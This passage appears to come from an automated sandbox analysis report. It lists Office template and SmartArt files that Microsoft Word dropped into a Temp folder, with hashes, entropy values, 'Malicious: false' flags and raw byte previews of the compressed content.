Category:	dropped
Size (bytes):	3683
Entropy (8bit):	7.772039166640107
Encrypted:	false
SSDEEP:	96:GyfQZd6ZHNCWl9aXFkZwIq/QDsRYPf8P9QtDIs5r:G6wYtNZS1k99AmPfSOtD5r
MD5:	E8308DA3D46D0BC30857243E1B7D330D
SHA1:	C7F8E54A63EB254C194A23137F269185E07F9D10
SHA-256:	6534D4D7EF31B967DD0A20AFFF092F8B93D3C0EFCBF19D06833F223A65C6E7C4
SHA-512:	88AB7263B7A8D7DDE1225AE588842E07DF3CE7A07CBD937B7E26DA7DA7CFED23F9C12730D9EF4BC1ACF26506A2A96E07875A1A40C2AD55AD1791371EE674A09B
Malicious:	false
Preview:	PK.........a9;lq.ri...#.......diagrams/layout1.xmlz........WKn.0.];.`..J..AP...4E..!..hi$..I......z..D.d;...m.d...f.3o.._....9'.P.I1.F.C...d.D:.........Q..Z..5$..BO...e..(.9..2..+.Tsjp.. Vt.f.<...gA.h...8...>..p4..T...9.c...'.G.;.@.;xKE.A.uX.....1Q...>...B...!T.%.* ...0.....&......(.R.u..BW.yF.Grs...)..$..p^.s.c._..F4.. .<%.BD..E....x... ..@...v.7f.Y......N.\|.qW'..m..........im.?.64w..h...UI...J....;.0..[....G..\...?:.7.0.fGK.C.o^....j4............p...w:...V....cR..i...I...J=...%. &..#..[M....YG...u...I)F.l>.j.....f..6.....2.]..$7.....Fr..o.0...l&..6U...M..........%..47.a.[..s........[..r....Q./}.-.(.\..#. ..y`...a2......UA.$K.nQ:e!bB.H.-Q-a.$La.%.Z!...6L...@...j.5.....b..S.\c..u...R..dXWS.R.8"....o[..V...s0W..8:...U.#5..hK....ge.Q0$>...k.<...YA.g..o5...3.....~re.....>....:..$.~........pu ._Q..\|Z...r...E.X......U....f)s^.?...%......459..XtL:M.).....x..n9..h...c...PK........Ho9<"..%...........diagrams/layoutHeader1.xmlMP.N.0.>oOa.

C:\Users\user\AppData\Local\Temp\TCDDB69.tmp\Content.inf

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	242
Entropy (8bit):	3.4938093034530917
Encrypted:	false
SSDEEP:	6:fxnxUX44lWWoE3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxnyvToGHmD0+dAH/luWvv
MD5:	A6B2731ECC78E7CED9ED5408AB4F2931
SHA1:	BA15D036D522978409846EA682A1D7778381266F
SHA-256:	6A2F9E46087B1F0ED0E847AF05C4D4CC9F246989794993E8F3E15B633EFDD744
SHA-512:	666926612E83A7B4F6259C3FFEC3185ED3F07BDC88D43796A24C3C9F980516EB231BDEA4DC4CC05C6D7714BA12AE2DCC764CD07605118698809DEF12A71F1FDD
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .T.a.b.L.i.s.t...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCDDB69.tmp\TabList.glox

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	4888
Entropy (8bit):	7.8636569313247335
Encrypted:	false
SSDEEP:	96:StrFZ23/juILHPzms5UTuK9CuZGEoEuZ28H1HiGa2RnnLY+tUb:SPZQ7uCHPzms5UTlqauZVHdJRnLY+tUb
MD5:	0A4CA91036DC4F3CD8B6DBF18094CF25
SHA1:	6C7EED2530CD0032E9EEAB589AFBC296D106FBB9
SHA-256:	E5A56CCB3B3898F76ABF909209BFAB401B5DDCD88289AD43CE96B02989747E50
SHA-512:	7C69426F2250E8C84368E8056613C22977630A4B3F5B817FB5EA69081CE2A3CA6E5F93DF769264253D5411419AF73467A27F0BB61291CCDE67D931BD0689CB66
Malicious:	false
Preview:	PK.........e.>.......]>......diagrams/layout1.xmlz........Z..6....;..{......lw.E.o....i..T....&...G.+...$..(.6..>Y.pf8C.\|3.?..m....xA8v.`.hW..@..Zn..(kb..(.......`.+....Y`...\..qh.0.!&w..)\|...<..]Q.. _....m..Z.{3..~..5..R..d..A.O....gU.M..0..#...;.>$...T......T..z.Z.\a.+...?#.~.....1.>?.....DD.1...'..,..(...5B...M..]..>.C..<[....,L.p..Q.v.v^q.Y...5.~^c..5........3.j.......BgJ.nv.. ............tt......Q..p..K....(M.(]@..E..~z.~...8...49.t.Q..Q.n..+.....J.#J.... .P...P.1...!.#&...?A..&.."..\|..D.I...:.....~/.....b..].........nI7.IC.a..%...9.....4...r....b..q....@o........O...y...d@+~.<.\....f.a`:...Qy/^..P....[....@i.I.._.?.X.x.8....)..s....I.0...\|.....t...;...q=k.=..N.%!.(.1....B.Ps/."...#.%..&...j<..2x.=<.......s.....h..?..]?Y?...C.}E.O........{..6.d....I...A.....JN..w+....2..m>9.T7...t.6.}.i..f.Ga..t.].->...8U......G.D`......p..f.. ...qT.YX.t.F..X.u=.3r...4....4Q.D..l.6.+PR...+..T..h: H.&.1~....n.....)........2J.. O.W+vd..f....0.....6..9QhV..

C:\Users\user\AppData\Local\Temp\TCDDB79.tmp\Content.inf

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	262
Entropy (8bit):	3.4901887319218092
Encrypted:	false
SSDEEP:	6:fxnxUXqhBMl0OoE3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxnyiMl0OoGHmD0+dAH/luWvv
MD5:	52BD0762F3DC77334807DDFC60D5F304
SHA1:	5962DA7C58F742046A116DDDA5DC8EA889C4CB0E
SHA-256:	30C20CC835E912A6DD89FD1BF5F7D92B233B2EC24594F1C1FE0CADB03A8C3FAB
SHA-512:	FB68B1CF9677A00D5651C51EC604B61DAC2D250D44A71D43CD69F41F16E4F0A7BAA7AD4A6F7BB870429297465A893013BBD7CC77A8F709AD6DB97F5A0927B1DD
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .R.a.d.i.a.l.P.i.c.t.u.r.e.L.i.s.t...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCDDB79.tmp\RadialPictureList.glox

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	5596
Entropy (8bit):	7.875182123405584
Encrypted:	false
SSDEEP:	96:dGa2unnLYEB2EUAPOak380NQjqbHaPKJebgrEVws8Vw+BMa0EbdLVQaZJgDZh0pJ:UJunLYEB2EUAxk3pIYaScgYwsV4bdS0X
MD5:	CDC1493350011DB9892100E94D5592FE
SHA1:	684B444ADE2A8DBE760B54C08F2D28F2D71AD0FA
SHA-256:	F637A67799B492FEFFB65632FED7815226396B4102A7ED790E0D9BB4936E1548
SHA-512:	3699066A4E8A041079F12E88AB2E7F485E968619CB79175267842846A3AD64AA8E7778CBACDF1117854A7FDCFB46C8025A62F147C81074823778C6B4DC930F12
Malicious:	false
Preview:	PK.........T.>................[Content_Types].xmlz.........=N.1...b.Eko(.B....(.Pp..=.u.?.....#q..ND.!$.J{.o....G..[Cv.....+.R.Nx..........0."u..S...$&.....Je..B..x......m......M^z....f....\|...N..Q..z.!.- .2.9y.i.8j...........0.AE..p.s~@../jw.#8.I.#....4.~Cl.:#h..f.PU.s.~........(.)F..Y......^x..PK.........T.>...V....L......._rels/.rels...J.@.._e..]AD.....x....3.t..T.w.\ZpA<x......v..'....z.........Y..[...<..2.TT....Q$.!.=.....&C....b".F.q.7...X3...7.8.N.}.. ?..8...#..,.L.3.#e...wZpZ.]S..:....t.....{..6.7.\|..,dH.e..K 7-}.~.v...5.......b..PK.........V.<.S.....Y.......diagrams/layout1.xml.\.r.8...U....m.$.."3.....;...../3.XAn..O.?....V.;...")Nr.O.H....O......_..E..S...L7....8H.y<=............~...Ic......v9.X.%.\.^.,?g.v.?%w...f.).9.........Ld;.1..?~.%QQ...h.8;.gy..c4..]..0Ii.K&.[.9.......E4B.a..?e.B..4....E.......Y.?_&!.....i~..{.W..b....L.?..L..@.F....c.H..^..i...(d.......w...9..9,........q..%[..]K}.u.k..V.%.Y.....W.y..;e4[V..u.!T...).%.

C:\Users\user\AppData\Local\Temp\TCDDB8A.tmp\Content.inf

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	238
Entropy (8bit):	3.472155835869843
Encrypted:	false
SSDEEP:	6:fxnxUXGE2E3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxny4GHmD0+dAH/luWvv
MD5:	2240CF2315F2EB448CEA6E9CE21B5AC5
SHA1:	46332668E2169E86760CBD975FF6FA9DB5274F43
SHA-256:	0F7D0BD5A8CED523CFF4F99D7854C0EE007F5793FA9E1BA1CD933B0894BFBD0D
SHA-512:	10BA73FF861112590BF135F4B337346F9D4ACEB10798E15DC5976671E345BC29AC8527C6052FEC86AA7058E06D1E49052E49D7BCF24A01DB259B5902DB091182
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .r.i.n.g.s...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCDDB8A.tmp\rings.glox

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	5151
Entropy (8bit):	7.859615916913808
Encrypted:	false
SSDEEP:	96:WkV3UHhcZDEteEJqeSGzpG43GUR8m8b6dDLiCTfjKPnD6H5RhfuDKNtxx3+7tDLp:Wq3UBc9EJqIpGgD5dDL1DjKvDKhfnNti
MD5:	6C24ED9C7C868DB0D55492BB126EAFF8
SHA1:	C6D96D4D298573B70CF5C714151CF87532535888
SHA-256:	48AF17267AD75C142EFA7AB7525CA48FAB579592339FB93E92C4C4DA577D4C9F
SHA-512:	A3E9DC48C04DC8571289F57AE790CA4E6934FBEA4FDDC20CB780F7EA469FE1FC1D480A1DBB04D15301EF061DA5700FF0A793EB67D2811C525FEF618B997BCABD
Malicious:	false
Preview:	PK.........nB;.h......F.......[Content_Types].xmlz.........MN.0...by.b.,.BI...X `...{..O.S...H\.'.XTP..K{.o.....rg..bL...XM.:.v..c.k...}.D....9.....Bb>.+..G.......+(.u}.w.]...v..{.M&.].>`....nB..B0Z@.e.u..R.......-.&#....aR..`.a..\|. 1^......&..\|..s.A.t..b..A.i7...7.&....bQK$O.......9....V....Wt_PK........5nB;.ndX....`......._rels/.rels...J.1.._%..f.J.J..x..AJ.2M&......g..#............\|.c..x{_._..^0e.\|.gU..z.....#.._..[..JG.m.....(...e..r."....P)....3..M].E:..SO.;D..c..J..rt...c.,.....a.;.....$.../5..D.Ue.g...Q3......5.':...@...~t{.v..QA>.P.R.A~..^AR.S4G......].n...x41....PK.........^5..s.V....Z......diagrams/layout1.xml.[]o.F.}N~..S.......VU.U+m6R........&.d.}...{M....Q.S....p9.'./O..z."..t>q....."[..j>y..?...u....[.}..j-...?Y..Bdy.I./.....0.._.....-.s...rj...I..=..<..9.\|>YK.....o.\|.my.F.LlB..be/E.Y!.$6r.f/.p%.......U....e..W.R..fK....`+?.rwX.[.b..\|..O>o.\|.....>1.......trN`7g..Oi.@5..^...]4.r...-y...T.h...[.j1..v....G..........nS..m..E"L...s

C:\Users\user\AppData\Local\Temp\TCDDB8B.tmp\Content.inf

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	260
Entropy (8bit):	3.494357416502254
Encrypted:	false
SSDEEP:	6:fxnxUX0XPE3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxnyEXPGHmD0+dAH/luWvv
MD5:	6F8FE7B05855C203F6DEC5C31885DD08
SHA1:	9CC27D17B654C6205284DECA3278DA0DD0153AFF
SHA-256:	B7F58DF058C938CCF39054B31472DC76E18A3764B78B414088A261E440870175
SHA-512:	C518A243E51CB4A1E3C227F6A8A8D9532EE111D5A1C86EBBB23BD4328D92CD6A0587DF65B3B40A0BE2576D8755686D2A3A55E10444D5BB09FC4E0194DB70AFE6
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .T.h.e.m.e.P.i.c.t.u.r.e.G.r.i.d...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCDDB8B.tmp\ThemePictureGrid.glox

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	6193
Entropy (8bit):	7.855499268199703
Encrypted:	false
SSDEEP:	192:WavHMKgnU2HUGFhUnkbOKoztj1QfcnLYut3d8:YKeUlGXUnC+HQSMp
MD5:	031C246FFE0E2B623BBBD231E414E0D2
SHA1:	A57CA6134779D54691A4EFD344BC6948E253E0BA
SHA-256:	2D76C8D1D59EDB40D1FBBC6406A06577400582D1659A544269500479B6753CF7
SHA-512:	6A784C28E12C3740300883A0E690F560072A3EA8199977CBD7F260A21E8346B82BA8A4F78394D3BB53FA2E98564B764C2D0232C40B25FB6085C36D20D70A39D1
Malicious:	false
Preview:	PK........X..<..Zn\|...........diagrams/layout1.xmlz........]..H.}......M,l#g.j:.G-eu.S=.$......T_6..I...6...d.NJ....r.p.p.........\|.z.K.M..L.T.(........<..ks.......o...t}...P...7...`.+.[...H..._..X.u.....N....n....n\|..=.....K.:.G7.u....."g.n.h...O.,...c...f.b.P......>[l.....j..?..mxk..n..\|A...,\o..j..wQ.....lw.~].Lh..{3Y..D..5.Y..n..Mh.r..J....6.<.kO...Alv.._.qdKQ.5...-FMN......;.~..._..pv..&...%"Nz].n............vM.`..k..a.:.f]...a........y.....g0..`........\|V...Yq.....#...8....n..i7w<2Rp...R.@.]..%.b%..~...a..<.j...&....?...Qp..Ow\|&4>...d.O.\|.\|...Fk;t.P[A..i.6K.~...Y.N..9......~<Q..f...i.....6..U...l. ..E..4$Lw..p..Y%NR..;...B\|B.U...\e......S...=...B{A.]..*....5Q.....FI..w....q.s{.K....(.]...HJ9........(.....[U\|.....d71.Vv.....a.8...L.....k;1%.T.@+..uv.~v.]`.V....Z.....`.M.@..Z\|.r........./C..Z.n0.....@.YQ.8..q.h.....c.%...p..<..zl.c..FS.D..fY..z..=O..%L..MU..c.:.~.....F]c......5.=.8.r...0....Y.\o.o....U.~n...`...Wk..2b......I~

C:\Users\user\AppData\Local\Temp\TCDDB8C.tmp\Content.inf

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	256
Entropy (8bit):	3.464918006641019
Encrypted:	false
SSDEEP:	6:fxnxUXR+EqRGRnRE3QepmlJ0+3FbnKfZObdADxp1RDWlVwv:fxnyB+5RmRGHmD0wbnKYZAH+Vwv
MD5:	93149E194021B37162FD86684ED22401
SHA1:	1B31CAEBE1BBFA529092BE834D3B4AD315A6F8F1
SHA-256:	50BE99A154A6F632D49B04FCEE6BCA4D6B3B4B7C1377A31CE9FB45C462D697B2
SHA-512:	410A7295D470EC85015720B2B4AC592A472ED70A04103D200FA6874BEA6A423AF24766E98E5ACAA3A1DBC32C44E8790E25D4611CD6C0DBFFFE8219D53F33ACA7
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .E.q.u.a.t.i.o.n.s...d.o.t.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.W.D. .D.o.c.u.m.e.n.t. .P.a.r.t.s.}.........

C:\Users\user\AppData\Local\Temp\TCDDB8C.tmp\Equations.dotx

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Word 2007+
Category:	dropped
Size (bytes):	51826
Entropy (8bit):	5.541375256745271
Encrypted:	false
SSDEEP:	384:erH5dYPCA4t3aEFGiSUDtYfEbi5Ry/AT7/6tHODaFlDSomurYNfT4A0VIwWNS89u:Q6Cbh9tENyWdaFUSYNfZS89/3qtEu
MD5:	2AB22AC99ACFA8A82742E774323C0DBD
SHA1:	790F8B56DF79641E83A16E443A75A66E6AA2F244
SHA-256:	BC9D45D0419A08840093B0BF4DCF96264C02DFE5BD295CD9B53722E1DA02929D
SHA-512:	E5715C0ECF35CE250968BD6DE5744D28A9F57D20FD6866E2AF0B2D8C8F80FEDC741D48F554397D61C5E702DA896BD33EED92D778DBAC71E2E98DCFB0912DE07B
Malicious:	false
Preview:	PK.........R.@c}LN4...........[Content_Types].xml ...(.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................`.I.%&/m.{.J.J..t...`.$.@........iG#)...eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c.....D....>.V...f-}..r9....=..Mn..U..5.(.....a...E..b......w.$...,O_fu."[P..WU=.;.....5..wdt..y1.......i.44-.r....;./.biG.Cd.n.j.{/......V....c..^^.E.H?H.........B.........<...Ae.l.]..{....mK......B....

C:\Users\user\AppData\Local\Temp\TCDDB9D.tmp\Content.inf

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	3.4670546921349774
Encrypted:	false
SSDEEP:	6:fxnxUX0XPYDxUloE3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxnyEXPYDCloGHmD0+dAH/luWvv
MD5:	3D52060B74D7D448DC733FFE5B92CB52
SHA1:	3FBA3FFC315DB5B70BF6F05C4FF84B52A50FCCBC
SHA-256:	BB980559C6FC38B703D1E9C41720D5CE8D00D2FF86D4F25136DB02B1E54B1518
SHA-512:	952EF139A72562A528C1052F1942DAE1C0509D67654BF5E7C0602C87F90147E8EE9E251D2632BCB5B511AB2FF8A3734293D0A4E3DBD3D187F5E3C042685F9A0C
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .T.h.e.m.e.P.i.c.t.u.r.e.A.l.t.e.r.n.a.t.i.n.g.A.c.c.e.n.t...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCDDB9D.tmp\ThemePictureAlternatingAccent.glox

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	5630
Entropy (8bit):	7.87271654296772
Encrypted:	false
SSDEEP:	96:n5ni6jKZWsD+QJaUQ7R6qYFF5QS+BEgeJam6S7ZCHuKViGa2CnnLYLt/ht:nccqxIBdQ1QS+uDJanS7ZCHHVdJCnLY5
MD5:	2F8998AA9CF348F1D6DE16EAB2D92070
SHA1:	85B13499937B4A584BEA0BFE60475FD4C73391B6
SHA-256:	8A216D16DEC44E02B9AB9BBADF8A11F97210D8B73277B22562A502550658E580
SHA-512:	F10F7772985EDDA442B9558127F1959FF0A9909C7B7470E62D74948428BFFF7E278739209E8626AE5917FF728AFB8619AE137BEE2A6A4F40662122208A41ABB2
Malicious:	false
Preview:	PK...........<..W8...j.......diagrams/layout1.xmlz........]......Hy..{...n .l.:.D.vvW..s....-a..fg&.}.\..+......4M..'=...(._.U]U......_.....U...k}.y.,......C..._^.......w/."7....v..Ea........Q..u..D{..{v.x.]....AtB15u..o...w..o.1...f.L...I<[zk7..7^..,.h.&l3...#..)..'H..d.r.#w=b...Ocw.y.&.v..t.>.s..m^M7..8I?o7................H...b....Qv.;'..%.f..#vR....V.H.),g..`...)(..m...[l...b...,.....U...Q.{.y.y.....G.I.tT.n..N.....A.tR..tr....i.<.......,.n:.#.A..a!X.......DK..;v..._M..lSc../n...v.....}.....I.\|8.!b.C..v..\|.....4l..n.;<9.i./..}!&2.c/.r...>.X02[..\|.a.-.....$#-....>...{.M].>3.,\o.x....X%;.F.k.)*".I8<.0..#......?.h..-..O.2.B.s..v....{Abd...h0....H..I.. ...%...$1.Fyd..Y....U...S.Y.#.V.....TH(....%..nk.3Y.e.m.-.S..Q...j.Ai..E..v......4.t.\|..&"...{..4.!.h.....C.P.....W...d[.....U<Yb;B.+W.!.@B....!.=......b"...Y.N;.#..Q...0G.lW...]7:...#9!z......\|f..r..x.....t........`.uL1u.:.....U.D.n.<Q.[%...ngC./..\|...!..q;;.w.".D..lt.".l.4".mt...E..mt

C:\Users\user\AppData\Local\Temp\TCDDBAD.tmp\Content.inf

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	258
Entropy (8bit):	3.4692172273306268
Encrypted:	false
SSDEEP:	6:fxnxUXcq9DsoE3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxnysmYoGHmD0+dAH/luWvv
MD5:	C1B36A0547FB75445957A619201143AC
SHA1:	CDB0A18152F57653F1A707D39F3D7FB504E244A7
SHA-256:	4DFF7D1CEF6DD85CC73E1554D705FA6586A1FBD10E4A73EEE44EAABA2D2FFED9
SHA-512:	0923FB41A6DB96C85B44186E861D34C26595E37F30A6F8E554BD3053B99F237D9AC893D47E8B1E9CF36556E86EFF5BE33C015CBBDD31269CDAA68D6947C47F3F
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .p.i.c.t.u.r.e.o.r.g.c.h.a.r.t...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCDDBAD.tmp\pictureorgchart.glox

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	7370
Entropy (8bit):	7.9204386289679745
Encrypted:	false
SSDEEP:	192:fYa+ngK2xG6HvLvoUnXxO+blKO1lt2Zg0AV:fYVn8Y6Hv3XxO+8uQZCV
MD5:	586CEBC1FAC6962F9E36388E5549FFE9
SHA1:	D1EF3BF2443AE75A78E9FDE8DD02C5B3E46F5F2E
SHA-256:	1595C0C027B12FE4C2B506B907C795D14813BBF64A2F3F6F5D71912D7E57BC40
SHA-512:	68DEAE9C59EA98BD597AE67A17F3029BC7EA2F801AC775CF7DECA292069061EA49C9DF5776CB5160B2C24576249DAF817FA463196A04189873CF16EFC4BEDC62
Malicious:	false
Preview:	PK........;nB;.h......F.......[Content_Types].xmlz.........MN.0...by.b.,.BI...X `...{..O.S...H\.'.XTP..K{.o.....rg..bL...XM.:.v..c.k...}.D....9.....Bb>.+..G.......+(.u}.w.]...v..{.M&.].>`....nB..B0Z@.e.u..R.......-.&#....aR..`.a..\|. 1^......&..\|..s.A.t..b..A.i7...7.&....bQK$O.......9....V....Wt_PK........HnB;..I)....j......._rels/.rels...J.@.._e..&6E.i/.,x..Lw'.j........G..\...................)...Y.3)..`...9r{v!......z...#>5.g.WJ%..T..>'m ..K.T.....j6[(:f.)S....C.mk5^.=:...X......C.... I......&5..e..H.1...).P.cw.kjT......C.......=.....}G!7E.y$.(...}b.........b=.<..^.....U..Y..PK.........^5a.2u............diagrams/layout1.xml..ko.8..+x.t.l..J.n.t.Mnw.x. ....B.t$.,.(&i.....(..d.mY......g.../[.<!.{ap>...L...p....G.9z?...._...e..`..%......8....G!..B8.....o...b.......Q.>\|.......g..O\B...i.h...0B.}.....z...k...H..t~r.v........7o.E....$....Z.........ZDd..~......>......O.3.SI.Y.".O&I....#."._c.$.r..z.g0`...0...q:...^0.EF...%(.Ao$.#.o6..c'....$%.}

C:\Users\user\AppData\Local\Temp\TCDDBAF.tmp\Content.inf

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	314
Entropy (8bit):	3.5230842510951934
Encrypted:	false
SSDEEP:	6:fxnxUXJuJaw93Ti8ME3QepmlJ0+3FbnKfZObdADryMluxHZypwwyv:fxnyZuUw9eNGHmD0wbnKYZAH/lMZqiv
MD5:	F25AC64EC63FA98D9E37782E2E49D6E6
SHA1:	97DD9CFA4A22F5B87F2B53EFA37332A9EF218204
SHA-256:	834046A829D1EA836131B470884905856DBF2C3C136C98ADEEFA0F206F38F8AB
SHA-512:	A0387239CDE98BCDE1668B582B046619C3B3505F9440343DAD22B1B7B9E05F3B74F2AE29E591EC37B6570A0C0E5FE571442873594B0684DDCCB4F6A1B5E10B1F
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .i.e.e.e.2.0.0.6.o.f.f.i.c.e.o.n.l.i.n.e...x.s.l.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. ./.f. .{.F.i.l.e.P.a.t.h.}.........

C:\Users\user\AppData\Local\Temp\TCDDBAF.tmp\ieee2006officeonline.xsl

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	294178
Entropy (8bit):	4.977758311135714
Encrypted:	false
SSDEEP:	6144:ydkJ3yU0orh0SCLVXyMFsoiOjWIm4vW2uo4hfhf7v3uH4NYYP4BpBaZTTSSamEUD:b
MD5:	0C9731C90DD24ED5CA6AE283741078D0
SHA1:	BDD3D7E5B0DE9240805EA53EF2EB784A4A121064
SHA-256:	ABCE25D1EB3E70742EC278F35E4157EDB1D457A7F9D002AC658AAA6EA4E4DCDF
SHA-512:	A39E6201D6B34F37C686D9BD144DDD38AE212EDA26E3B81B06F1776891A90D84B65F2ABC5B8F546A7EFF3A62D35E432AF0254E2F5BFE4AA3E0CF9530D25949C0
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>....<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt"......xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">.....<xsl:output method="html" encoding="us-ascii"/>.....<xsl:template match="/">....<xsl:call-template name="Start"/>...</xsl:template>.....<xsl:template name="Start">....<xsl:choose>.....<xsl:when test="b:Version">......<xsl:text>2010.2.02</xsl:text>.....</xsl:when>.......<xsl:when test="b:XslVersion">......<xsl:text>2006</xsl:text>.....</xsl:when>.. <xsl:when test="b:StyleNameLocalized">.. <xsl:choose>.. <xsl:when test="b:StyleNameLocalized/b:Lcid='1033'">.. <xsl:text>IEEE</xsl:text>.. </xsl:when>.. <xsl:when test="b:StyleNameLocalized/b:Lcid='1025'">.. <xsl:text>IEEE</xsl:text>.. </xsl:when>.. <xsl:when test="b:StyleNameL

C:\Users\user\AppData\Local\Temp\TCDDBB0.tmp\Content.inf

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	290
Entropy (8bit):	3.5081874837369886
Encrypted:	false
SSDEEP:	6:fxnxUXCOzi8ME3QepmlJ0+3FbnKfZObdADryMluxHZypwwyv:fxnydONGHmD0wbnKYZAH/lMZqiv
MD5:	8D9B02CC69FA40564E6C781A9CC9E626
SHA1:	352469A1ABB8DA1DC550D7E27924E552B0D39204
SHA-256:	1D4483830710EF4A2CC173C3514A9F4B0ACA6C44DB22729B7BE074D18C625BAE
SHA-512:	8B7DB2AB339DD8085104855F847C48970C2DD32ADB0B8EEA134A64C5CC7DE772615F85D057F4357703B65166C8CF0C06F4F6FD3E60FFC80DA3DD34B16D5B1281
Malicious:	false
